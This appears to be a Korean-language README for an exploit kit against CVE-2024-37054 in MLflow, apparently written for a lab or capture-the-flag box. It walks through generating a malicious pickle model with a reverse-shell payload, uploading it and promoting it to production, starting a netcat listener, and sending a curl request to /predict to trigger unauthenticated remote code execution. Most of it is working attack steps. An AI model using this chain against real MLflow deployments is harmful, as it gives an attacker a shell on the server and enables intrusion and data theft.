
CVE-2024-37054에 대한 익스플로잇: 악성 pickle 모델을 생성하여 MLflow에 업로드하고 /predict 엔드포인트를 통해 원격 코드 실행을 트리거합니다.
| 파일 | 목적 |
|---|---|
generate_model.py | 악성 model.pkl을 역방향 셸 페이로드와 함께 생성합니다 |
upload_model.py | 피클을 MLflow에 업로드하고 프로덕션으로 승격합니다 |
sample.csv | /predict 엔드포인트를 트리거하는 데 사용되는 CSV 파일 |
generate_model.py를 편집하고 tun0 IP를 설정합니다:
python3 generate_model.py
nc -lvnp 4444
upload_model.py를 편집합니다:
MLFLOW를 http://127.0.0.1:5000으로 설정MODEL_NAME을 메인 도메인에서 찾은 활성 모델 이름으로 설정python3 upload_model.py
클라이언트 앱에서 새 세션 쿠키를 가져온 후:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
셸이 리스너에 캐치됩니다.
Pickle Deserialization via MLflow Model Registry
MLflow는 Python의 pickle.load()를 사용하여 등록된 모델을 로드합니다. 조작된 피클을 모델 아티팩트로 업로드하고 프로덕션으로 승격시키면, 이후의 /predict 호출이 서버 측에서 페이로드를 역직렬화하여 애플리케이션 사용자로서 인증되지 않은 RCE를 달성합니다.